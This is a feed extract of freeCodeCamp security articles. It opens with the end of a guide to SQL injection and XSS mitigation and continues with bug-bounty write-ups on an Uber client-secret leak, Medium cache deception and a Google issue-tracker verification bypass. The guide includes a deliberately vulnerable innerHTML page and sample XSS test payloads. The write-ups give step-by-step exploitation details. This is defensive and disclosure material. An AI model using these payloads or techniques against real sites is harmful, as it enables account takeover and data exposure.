<h1 id="heading-sql-injection-mitigation">SQL injection mitigation</h1>
<p>In order to effectively mitigate SQL injections, developers must prevent users from being able to successfully submit raw SQL commands to any part of the site.</p>
<p>Some frameworks will do most of the heavy lifting for you. For example, Django implements the concept of <a target="_blank" href="https://en.wikipedia.org/wiki/Object-relational_mapping">Object-Relational Mapping</a>, or ORM, with its use of <a target="_blank" href="https://docs.djangoproject.com/en/2.2/topics/db/queries/">QuerySets</a>. We can think of these as wrapper functions that help your application query the database using pre-defined methods that avoid the use of raw SQL.</p>
<p>Being able to use a framework, however, is never a guarantee. When dealing directly with a database, there are other methods we can use to safely abstract our SQL queries from user input, though they vary in efficacy. These are, by order of most to least preferred, and with links to relevant examples:</p>
<ol>
<li>Prepared statements with variable binding (or <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html">parameterized queries</a>),</li>
<li><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html#defense-option-2-stored-procedures">Stored procedures</a>; and</li>
<li><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html#defense-option-3-whitelist-input-validation">Whitelisting</a> or <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html#defense-option-4-escaping-all-user-supplied-input">escaping</a> user input.</li>
</ol>
<p>If you want to implement the above techniques, the linked cheatsheets are a great starting point for digging deeper. Suffice to say, the use of these techniques to obtain data instead of using raw SQL queries helps to minimize the chances that SQL will be processed by any part of your application that takes input from users, thus mitigating SQL injection attacks.</p>
<p>The battle, however, is only half won…</p>
<h1 id="heading-cross-site-scripting-xss-attacks">Cross Site Scripting (XSS) attacks</h1>
<p>If you’re a malicious coder, JavaScript is pretty much your best friend. The right commands will do anything a legitimate user could do (and even some things they aren’t supposed to be able to) on a web page, sometimes without any interaction on the part of an actual user. </p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Cross-site_scripting">Cross Site Scripting</a> attacks, or XSS, occur when JavaScript code is injected into a web page and changes that page’s behavior. Its effects can range from prank nuisance occurrences to more severe authentication bypasses or credential stealing. <a target="_blank" href="https://blogs.apache.org/infra/entry/apache_org_04_09_2010">This incident report from Apache in 2010</a> is a good example of how XSS can be chained in a larger attack to take over accounts and machines.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/xss-1.png" alt="An HTML dance party with a little JS cutting in" width="600" height="400" loading="lazy">
<em>The annual DOM dance-off receives an unexpected guest</em></p>
<p>XSS can occur on the server or on the client side, and generally comes in three flavors: DOM (<a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction">Document Object Model</a>) based, stored, and reflected XSS. The differences amount to where the attack payload is injected into the application.</p>
<h2 id="heading-dom-based-xss">DOM based XSS</h2>
<p><a target="_blank" href="https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting">DOM based XSS</a> occurs when a JavaScript payload affects the structure, behavior, or content of the web page the user has loaded in their browser. These are most commonly executed through modified URLs, such as in phishing.</p>
<p>To see how easy it would be for injected JavaScript to manipulate a page, we can create a working example with an HTML web page. Try creating a file on your local system called <code>xss-test.html</code> (or whatever you like) with the following HTML and JavaScript code:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>My XSS Example<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"greeting"</span>&gt;</span>Hello there!<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
                <span class="hljs-keyword">var</span> name = <span class="hljs-keyword">new</span> URLSearchParams(<span class="hljs-built_in">document</span>.location.search).get(<span class="hljs-string">'name'</span>);
                <span class="hljs-keyword">if</span> (name !== <span class="hljs-string">'null'</span>) {
                    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'greeting'</span>).innerHTML = <span class="hljs-string">'Hello '</span> + name + <span class="hljs-string">'!'</span>;
                }
            </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>This web page will display the title “Hello there!” unless it receives a <a target="_blank" href="https://en.wikipedia.org/wiki/Query_string">URL parameter from a query string</a> with a value for <code>name</code>. To see the script work, open the page in a browser with an appended URL parameter, like so:</p>
<p><code>file:///path/to/file/xss-test.html?name=Victoria</code></p>
<p>Fun, right? Our insecure (in the safety sense, not the emotional one) page takes the URL parameter value for <code>name</code> and displays it in the DOM. The page is expecting the value to be a nice friendly string, but what if we change it to something else? Since the page is owned by us and only exists on our local system, we can test it all we like. What happens if we change the <code>name</code> parameter to, say, <code>&lt;img+src+onerror=alert("pwned")&gt;</code>?</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/pwned.png" alt="A screenshot of the XSS page example" width="600" height="400" loading="lazy"></p>
<p>This is just one example, largely based on one from <a target="_blank" href="https://brutelogic.com.br/blog/dom-based-xss-the-3-sinks/">Brute’s post</a>, that demonstrates how an XSS attack could be executed. Funny pop-up alerts may be amusing, but JavaScript can do a lot of harm, including helping malicious attackers steal passwords and personal information.</p>
<h2 id="heading-stored-and-reflected-xss">Stored and reflected XSS</h2>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Persistent_(or_stored)">Stored XSS</a> occurs when the attack payload is stored on the server, such as in a database. The attack affects a victim whenever that stored data is retrieved and rendered in the browser. For example, instead of using a URL query string, an attacker might update their profile page on a social site to include a hidden script in, say, their “About Me” section. The script, improperly stored on the site’s server, would successfully execute at a later time when another user views the attacker’s profile.</p>
<p>One of the most famous examples of this is the <a target="_blank" href="https://en.wikipedia.org/wiki/Samy_(computer_worm)">Samy worm</a> that all but took over MySpace in 2005. It propogated by sending HTTP requests that replicated it onto a victim’s profile page whenever an infected profile was viewed. Within just 20 hours, it had spread to over a million users.</p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent_(reflected)">Reflected XSS</a> similarly occurs when the injected payload travels to the server, however, the malicious code does not end up stored in a database. It is instead immediately returned to the browser by the web application. </p>
<p>An attack like this might be executed by luring the victim to click a malicious link that sends a request to the vulnerable website’s server. The server would then send a response to the attacker as well as the victim, which may result in the attacker being able to obtain passwords, or perpetrate actions that appear to originate from the victim.</p>
<h1 id="heading-xss-attack-mitigation">XSS attack mitigation</h1>
<p>In all of these cases, XSS attacks can be mitigated with two key strategies: validating form fields, and avoiding the direct injection of user input on the web page.</p>
<h2 id="heading-validating-form-fields">Validating form fields</h2>
<p>Frameworks can again help us out when it comes to making sure that user-submitted forms are on the up-and-up. One example is <a target="_blank" href="https://docs.djangoproject.com/en/2.2/ref/forms/fields/#built-in-field-classes">Django’s built-in <code>Field</code> classes</a>, which provide fields that validate to some commonly used types and also specify sane defaults. Django’s <code>EmailField</code>, for instance, uses a set of rules to determine if the input provided is a valid email. If the submitted string has characters in it that are not typically present in email addresses, or if it doesn’t imitate the common format of an email address, then Django won’t consider the field valid and the form will not be submitted.</p>
<p>If relying on a framework isn’t an option, we can implement our own input validation. This can be accomplished with a few different techniques, including <a target="_blank" href="https://en.wikipedia.org/wiki/Type_conversion">type conversion</a>, for example, ensuring that a number is of type <code>int()</code>; checking minimum and maximum range values for numbers and lengths for strings; using a pre-defined array of choices that avoids arbitrary input, for example, months of the year; and checking data against strict <a target="_blank" href="https://en.wikipedia.org/wiki/Regular_expression">regular expressions</a>.</p>
<p>Thankfully, we needn’t start from scratch. Open source resources are available to help, such as the <a target="_blank" href="https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository">OWASP Validation Regex Repository</a>, which provides patterns to match against for some common forms of data. Many programming languages offer validation libraries specific to their syntax, and we can find <a target="_blank" href="https://github.com/search?q=validation+library">plenty of these on GitHub</a>. Additionally, the <a target="_blank" href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet">XSS Filter Evasion Cheat Sheet</a> has a couple suggestions for test payloads we can use to test our existing applications.</p>
<p>While it may seem tedious, properly implemented input validation can protect our application from being susceptible to XSS.</p>
<h2 id="heading-avoiding-direct-injection">Avoiding direct injection</h2>
<p>Elements of an application that directly return user input to the browser may not, on a casual inspection, be obvious. We can determine areas of our application that may be at risk by exploring a few questions:</p>
<ul>
<li>How does data flow through our application?</li>
<li>What does a user expect to happen when they interact with this input?</li>
<li>Where on our page does data appear? Does it become embedded in a string or an attribute?</li>
</ul>
<p>Here are some sample payloads that we can play with in order to test inputs on our site (again, only our own site!) courtesy of <a target="_blank" href="https://www.hacker101.com/">Hacker101</a>. The successful execution of any of these samples can indicate a possible XSS vulnerability due to direct injection.</p>
<ul>
<li><code>"&gt;&lt;h1&gt;test&lt;/h1&gt;</code></li>
<li><code>'+alert(1)+'</code></li>
<li><code>"onmouserover="alert(1)</code></li>
<li><code>http://"onmouseover="alert(1)</code></li>
</ul>
<p>As a general rule, if you are able to design around directly injecting input, do so. Alternatively, be sure to completely understand the effect of the methods you choose; for example, using <code>innerText</code> instead of <code>innerHTML</code> in JavaScript will ensure that content will be set as plain text instead of (potentially vulnerable) HTML.</p>
<h1 id="heading-pay-attention-to-your-inputs">Pay attention to your inputs</h1>
<p>Software developers are at a marked disadvantage when it comes to competing with black hat, or malicious, hackers. For all the work we do to secure each and every input that could potentially compromise our application, an attacker need only find the one we missed. It’s like installing deadbolts on all the doors, but leaving a window open!</p>
<p>By learning to think along the same lines as an attacker, however, we can better prepare our software to stand up against bad actors. Exciting as it may be to ship features as quickly as possible, we’ll avoid racking up a lot of security debt if we take the time beforehand to think through our application’s flow, follow the data, and pay attention to our inputs.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Bounty report: how we discovered Uber’s developer applications were leaking client secret and… ]]>
                </title>
                <description>
                    <![CDATA[ By AppSecure This is being published with the permission of Uber under the responsible disclosure policy. The vulnerability detailed in this blog post is being disclosed by Anand Prakash and Manisha Sangwan of team AppSecure. This was plugged quickly... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/leakage-of-client-secret-server-tokens-of-all-uber-developer-applications-657d9d7fd30e/</link>
                <guid isPermaLink="false">66c359969de50ee9ca7fa6d1</guid>
                
                    <category>
                        <![CDATA[ api ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ uber ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 19 Feb 2019 14:07:53 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*5cU8gS2vFolwBtJbv_9SpQ.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By AppSecure</p>
<p><em>This is being published with the permission of Uber under the responsible disclosure policy.</em></p>
<p>The vulnerability detailed in this blog post is being disclosed by <a target="_blank" href="https://twitter.com/sehacure">Anand Prakash</a> and <a target="_blank" href="https://www.linkedin.com/in/manisha-sangwan-98b9244a/">Manisha Sangwan</a> of team <a target="_blank" href="https://appsecure.in">AppSecure</a>. This was plugged quickly by the engineering team at Uber.</p>
<p>This post is about an information leakage vulnerability on riders.uber.com in which we identified an public API endpoint of <a target="_blank" href="https://riders.uber.com/profile">https://riders.uber.com/profile</a> that could send back server tokens and client secret for applications authorized by the account owner to access their Uber account.</p>
<p>As per Uber’s <a target="_blank" href="https://developer.uber.com/docs/businesses/guides/authentication">documentation</a>:</p>
<blockquote>
<p>_“The secret for your application, this should be treated like your application’s password. Never share this with anyone, check this into source code, or post in any public forum. Additionally, this should not be distributed on client devices where users could decompile your code and access the secret. If you suspect your client<em>secret has been compromised you may generate a new one in your application’s dashboard which will immediately invalidate the old secret.”</em></p>
</blockquote>
<p>This could have been easily exploited by an attacker by connecting their account to any Uber application on production and then using the profile endpoint to retrieve server tokens and client secrets of the connected application in the API response.</p>
<p>Uber fixed this issue by removing this data from the API response, as reported. Uber publicly notified all developers of this vulnerability and asked developers to rotate secrets on a periodic basis.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/OMCDfDQdImuNb4ruNqBPwCGX5wlb6i19ufET" alt="Image" width="600" height="400" loading="lazy">
<em>Notification sent by Uber to developers.</em></p>
<h3 id="heading-about-uber">About Uber</h3>
<p>Uber is a transportation network company (TNC) headquartered in San Francisco, California. Uber offers services including peer-to-peer ridesharing, taxi cab hailing, food delivery, and a bicycle-sharing system. The company has operations in 785 metropolitan areas worldwide. Uber has a valuation of over $100 billion as per <a target="_blank" href="https://www.bloomberg.com/news/articles/2018-10-16/uber-valued-at-120-billion-in-an-ipo-maybe">Bloomberg’s</a> report.</p>
<h3 id="heading-how-my-exploit-worked-step-by-step">How my exploit worked step-by-step</h3>
<h4 id="heading-step-1">Step #1</h4>
<p>Attacker connects a random Uber developer application to their account using OAuth. A few examples of Uber developer applications are <a target="_blank" href="https://eng.uber.com/ifttt-uber-automation/">IFTTT</a>, <a target="_blank" href="https://uber-developers.news/uber-and-payfare-partner-to-pay-driver-partners-right-away-eec7a1f5335c?source=rss----49ee238f1dea---4&amp;gi=e6336207cb0e">Payfare</a>, and <a target="_blank" href="https://uber-developers.news/uber-and-samsung-team-up-to-leverage-contextual-awareness-on-galaxy-s8-and-s8-935f5b5dbab8">Bixby</a>. It is not identified as a complicated procedure as of now.</p>
<h4 id="heading-step-2"><strong>Step #2</strong></h4>
<p>Once the above apps are connected by the attacker to their Uber account, they can use against the endpoint to get the developer application’s confidential data and other significant information of the application using the attacker’s session data.</p>
<p><strong>The vulnerable Uber API:</strong></p>
<p><code>POST /api/getAuthorisedApps HTTP/1.1</code><br><code>Host: riders.uber.com</code><br><code>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0</code><br><code>Accept: */*</code><br><code>Accept-Language: en-US,en;q=0.5</code><br><code>Accept-Encoding: gzip, deflate</code><br><code>Referer: [https://riders.uber.com/profile](https://riders.uber.com/profile)</code><br><code>content-type: application/json</code><br><code>x-csrf-token: XXX</code><br><code>origin: [https://riders.uber.com](https://riders.uber.com)</code><br><code>Content-Length: 2</code><br><code>Cookie:</code></p>
<p><strong>Data getting leaked in API response:</strong></p>
<p><code>{“status”:”success”,”data”:{“data”:{“uuid”:”xxxx”},”clientScopes”:{“authorizedClientScopes”:[{“clientID”:”xxx”,”scopes”:[“history”,”offline_access”,”profile”]}]},”scopeDetails”:[{“applicationDetails”:{“applicationID”:”xxx”,”owner”:{“userUUID”:”xxxx”,”userEmail”:””},”applicationSecret”:”xxx”,”name”:”xxx”,”description”:”abc”,”privacyPolicyURL”:”[https://appsecure.in](https://appsecure.in)","surgeConfirmedRedirectURI":"","webhookURL":"","applicationType":"","requestsPerHour":{"low":0,"high":0,"unsigned":false},"redirectURIs":["xxxxxx"],"appSignatures":[],"defaultScopes":["history","profile"],"whitelistedScopes":[],"originURIs":[],"serverTokens":["xxx"],"ipWhitelist":[],"admins":[{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""}],"developers":[{"userUUID":"xxxx","userEmail":""}],"tags":[],"oauthEnabled":false,"smsVerificationEnabled":false,"cobrandingEnabled":false,"supplyOnly":false,"isInternal":true,"cobrandingDetails":{"nativeURL":"","androidFallbackURL":"","iosFallbackURL":"","displayName":"","linkName":"","logoUUID":"","logoFiletype":"","generatedLogoURL":""},"availableScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"openScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"developerScopes":["all_trips","request","request_receipt"],"createdAt":{"low":xxx,"high":0,"unsigned":false},"updatedAt":{"low":xxx,"high":0,"unsigned":false},"displayName":null,"iconURL":null,"publicDescription":null,"appGalleryDetails":{"mobilePlatforms":[],"publicationState":"","redirectURI":"xxxx","permissionState":""}},"permissions":null,"userRoleInvitations":null}]}}</code></p>
<h4 id="heading-disclosure-timeline"><strong>Disclosure Timeline</strong></h4>
<p><strong>October 5th, 2018:</strong> Report sent to Uber’s Security team.</p>
<p><strong>November 6th, 2018:</strong> Issue resolved by Uber. AppSecure asked Uber to notify all developers in case their app secrets were no longer confidential. We verified the fix.</p>
<p><strong>December 20th 2018:</strong> Uber replied, stating, “They are in process of notifying the developers and in process of putting up long term fix in place for this issue.”</p>
<p><strong>February 8th 2019:</strong> Uber rewarded us with $5000 bounty and notified all developers via email about the same. The issue was publicly disclosed after the action was conducted.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cache Deception: How I discovered a vulnerability in Medium and helped them fix it ]]>
                </title>
                <description>
                    <![CDATA[ By Yuval Shprinz In my previous post, I tried to demonstrate how powerful and cool reverse engineering Android apps can be. I did this by showing how to modify Medium’s app so all membership-required stories in it would be available for free. Well, t... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/cache-deception-how-i-discovered-a-vulnerability-in-medium-and-helped-them-fix-it-31cec2a3938b/</link>
                <guid isPermaLink="false">66c3471e93db2451bd441429</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ software development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 06 Feb 2019 20:10:38 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*knSTn0jDiWavvtq7gUvmeg.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Yuval Shprinz</p>
<p>In my <a target="_blank" href="https://hackernoon.com/dont-publish-yet-reverse-engineering-the-medium-app-and-making-all-stories-in-it-free-48c8f2695687">previous post</a>, I tried to demonstrate how powerful and cool reverse engineering Android apps can be. I did this by showing how to modify Medium’s app so all membership-required stories in it would be available for free.</p>
<p>Well, there was a bit more to the story :)</p>
<p>While working towards my desired goal, I found a large collection of API endpoints that Medium declared in their code, which exposed a neat Cache Deception vulnerability after a short iteration on them. I was especially excited about that find because cache-based attacks are exceptionally awesome, and it could have been a great addition to my story.</p>
<p>Unfortunately, it took Medium three months and a couple of reminders to respond, so I had to wait with the public disclosure for a bit.</p>
<p>In this post, I will try to explain intuitively what Cache Deception is, describe the bug at Medium, and reference two outstanding articles about cache-based attacks.</p>
<h3 id="heading-cache-deception">Cache Deception</h3>
<p>Web browsers cache servers’ static responses so they won’t need to request them again — saving both time and bandwidth.</p>
<p>In a similar principle, servers and CDNs (Content delivery networks, Cloudflare for example) cache responses too (their own responses), so they won’t need to waste time processing them again. Instead of passing to the server a request that the CDN already knows its response to (i.e. a static image), it can return a response immediately to the client and reduce both server load and response time.</p>
<p>When servers cache static responses, everyone benefits from it. But what happens when a server caches a non-static response that contains some sensitive information? The server will start serving the cached response to everyone from now on, hence making any sensitive information in it public!</p>
<p>So that’s basically what Cache Deception is — making servers cache sensitive data, by exploiting badly configured caching rules. After the sensitive data is cached, an attacker can come back to hoard it, for example.</p>
<h3 id="heading-caching-user-profiles">Caching User Profiles</h3>
<p>Medium uses the library Retrofit to turn their HTTP APIs into Java interfaces for their Android app, so basically every endpoint lies nicely in their code with all of its available parameters specified. I extracted all of them to a list that ended up being about 900 endpoints.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/jyHuL9i-ghkw-O6MkEB4EM48SRG8FkuRX6rZ" alt="Image" width="600" height="400" loading="lazy">
<em>Some extracted endpoints</em></p>
<p>That list was a real treasure, so I couldn’t stop myself from spending some time iterating it. Among other things, I looked for URLs that ended with user controlled input, because there is a common miss-configuration of caching services to cache every resource path that looks like a file. Remember, our goal is to find endpoints that both contain sensitive information and are cached by Medium’s servers. So, finding an API endpoint that’s being cached would be great.</p>
<p>As it turned out, Medium indeed cached paths that looked like files by default, but only for resources that were right under the root directory of the site, URLs like <code>https://medium.com/niceImage.png</code>.</p>
<p>Fortunately, my beautiful list contained one endpoint that held the above requirements — <strong>user profile pages</strong>. By setting my username to “yuval.png”, my profile page URL became <code>https://medium.com/@yuval.png</code>, and when someone visited it, its response was cached there for a while (4 hours, then the server dropped it). And that was actually the whole bug, setting usernames to end with a file extension -in order to cause profile pages to be cached.</p>
<p>What sensitive information can be extracted from cached responses of visits to my profile page?</p>
<ul>
<li>CSRF tokens. Those are embedded in the returned document. (<a target="_blank" href="https://stackoverflow.com/a/33829607">Cross-Site Request Forgery in simple words</a>)</li>
<li>Information about who viewed my profile. The currently logged in user can also be extracted from returned documents.</li>
</ul>
<p>The fact that each cached response was there for 4 hours and blocked other responses from being cached wasn’t a problem, because by using a simple script usernames can be changed repeatedly (and generate new URLs that aren’t cached yet).</p>
<p>Note that this bug could have also been used by users that were willing to hide the “block user” option on their own profile page, if they repeatedly entered it (again, using a script). This would work because users don’t have the option to block themselves on their own profile and so others wouldn’t have it either when they receive a cached response that was created for the account owner.</p>
<h3 id="heading-report-timeline">Report Timeline</h3>
<p>I sent Medium my report through their bug bounty program, and here’s the timeline:</p>
<p>Aug 24 — Sent my initial report, and received an automatic email which said that Medium would try to get back to me within 48 hours.</p>
<p>Sep 14 — Checked with them if something wasn’t clear since they hadn’t responded yet.</p>
<p>Nov 1 — Issued another message, saying was fine with me if my report got rejected, and asking for a response so I would know they received it.</p>
<p>Nov 20 — Response from Medium! apologizing for the delay and rewarding my bug with $100 and a shirt.</p>
<p>I guess it took them a while because Cache Deception isn’t the usual kind of bug people report — but I was just hoping for a quick response asking me for more explanation or something. I assumed no one was reading their inbox.</p>
<p>P.S. the bug was rewarded only $100 because Medium’s program is small, not because it’s lame :P</p>
<h3 id="heading-cache-based-attacks-further-readings">Cache Based Attacks — Further Readings</h3>
<p>Cache-based attacks have been known for a long time, but were considered mostly theoretical until the recent publish of two outstanding works by Omer Gil and James Kettle. If you find the subject interesting, don’t miss these:</p>
<h4 id="heading-web-cache-deception-attackhttpomergilblogspotcom201702web-cache-deception-attackhtml-omer-gil-feb-2017"><a target="_blank" href="http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html">Web Cache Deception Attack</a> — Omer Gil, Feb 2017</h4>
<p>While demonstrating it on PayPal, Omer claims the term Cache Deception for this new and amazing attack vector.</p>
<h4 id="heading-practical-web-cache-poisoninghttpsportswiggernetblogpractical-web-cache-poisoning-james-kettle-aug-2018"><a target="_blank" href="https://portswigger.net/blog/practical-web-cache-poisoning">Practical Web Cache Poisoning</a> — James Kettle, Aug 2018</h4>
<p>Cache Poisoning has been known for years, but by publishing his extensive research James made it practical. Check out his follow up article on the subject “<a target="_blank" href="https://portswigger.net/blog/bypassing-web-cache-poisoning-countermeasures">Bypassing Web Cache Poisoning Countermeasures</a>” too.</p>
<p>See you next time…<br>???</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ I bypassed “How I hacked Google’s bug tracking system itself for $15,600 in bounties.” Here’s how. ]]>
                </title>
                <description>
                    <![CDATA[ By Gopal Singh Hello Everyone! I was reading some write-ups, and I came across this bug which I liked: “Getting a Google employee account.” It was a nice find by Alex Birsan. I started testing the issue tracker, and I was trying to see if I could get... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/</link>
                <guid isPermaLink="false">66c35739c7095d76345eaf8c</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Google ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 23 Nov 2018 18:09:35 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*FnYAmegCjYie3tJD31dW7A.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Gopal Singh</p>
<p>Hello Everyone!</p>
<p>I was reading some write-ups, and I came across this bug which I liked: <a target="_blank" href="https://medium.freecodecamp.org/messing-with-the-google-buganizer-system-for-15-600-in-bounties-58f86cc9f9a5">“Getting a Google employee account</a>.” It was a nice find by <a target="_blank" href="https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/undefined">Alex Birsan</a>. I started testing the issue tracker, and I was trying to see if I could get a Google account. Then looking around in issue tracker, I noticed in the browse components there were two public issue trackers. So I clicked on Android Public Tracker.</p>
<p>I could see bugs reported to Android there. To report a Bug in the Android public issue tracker, you can send an email to:</p>
<p><strong>buganizer-system+</strong><em>componentID</em><strong>@google.com</strong></p>
<p>where android’s component id is 190923.</p>
<p>I could see that my issue got listed in the public issue tracker. I got a confirmation email from <strong>buganizersystem+my_email@google.com.</strong> A reply to this email would be directed to:</p>
<p><strong>buganizer-system+</strong><em>componentID<strong>+</strong>issueID</em><strong>@google.com</strong></p>
<p>I responded to that email, and a comment was posted in the conversation. I could add a Google email to see if I could get a confirmation code. To test this I clicked on <a target="_blank" href="https://mail.google.com/mail/u/0/#settings/fwdandpop">Forwarding and POP/IMAP</a> in Gmail settings and added the Google email to the forwarding email address. I was surprised to see I got a confirmation code in the Android public issue tracker.</p>
<p>There are two parts here to get a Google account <strong>Signup</strong> and <strong>verification</strong>. I could verify a Google account, but I could not signup for an @google.com account, so my report was closed as Won’t Fix. I almost gave up, because after the initial fix I could not use my google.com email. But I decided to give it one last try.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*VPKKHkJihwBU5EGmiCO87Q.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Then I started visiting every sub-domain of Google to see if I could use a google.com email to signup. This new signup page appeared (see below). Initially, I could not find “Use my current email address instead” to get it to go to <a target="_blank" href="https://partnerissuetracker.corp.google.com/">https://partnerissuetracker.corp.google.com/</a>. Then you would click on Create an account, and you could see there was an option to use your current email address.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*FnYAmegCjYie3tJD31dW7A.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>My heart rate increased after seeing the new signup page. I began to sign up using the <strong>buganizer-system+</strong><em>componentID<strong>+</strong>issueID</em><strong>@google.com</strong> email and then it asked me to verify by entering the code.</p>
<h4 id="heading-verify-your-email-address">Verify your email address</h4>
<p>I was waiting for the verification code in the conversation, and then I received the verification code in the email and the conversation in the issue tracker.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*2V5EtNmYL9dLuWzzE5Pahg.jpeg" alt="Image" width="800" height="209" loading="lazy"></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*i3SoADa-WPpR624Nr9BPyA.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>After successfully signing up for the Google Account, I reopened the issue. The impact here was that you can access <a target="_blank" href="https://google.ridecell.com">https://google.ridecell.com</a> which requires a Google account. Besides this, I tried to upgrade my account to Gmail now as I had a Google account. I added it to my Gmail, and I was able to send an email using from <strong>buganizer-system+</strong><em>componentID<strong>+</strong>issueID</em><strong>@google.com</strong></p>
<p>If you try to spoof google.com email, your mail will land in spam. But my email appeared in the inbox, and it was from @google.com so an attacker could pretend that they were a Google employee.</p>
<h4 id="heading-nice-catch"><strong>Nice catch!</strong></h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*OM8Cx-NTdPsFxkGJgMcqxQ.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>It was 9:50 PM when I was looking for bugs, and finally, the most awaited email arrived: I was getting <strong>$3133.70</strong>. I could not sleep the whole night.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*cp_Noolq5VnWPNf3NqgNGg.jpeg" alt="Image" width="800" height="380" loading="lazy"></p>
<p>Check out this video to see more:</p>
<p>Thanks to <a target="_blank" href="https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/undefined">Alex Birsan</a> — this would not have been possible without his write-up. I learned a lot from reading his write-up. Also, thanks to <a target="_blank" href="https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/undefined">Avinash Jain</a> and <a target="_blank" href="https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/undefined">Alex Birsan</a> for taking the time to review the draft.</p>
<p>Thanks for reading!</p>
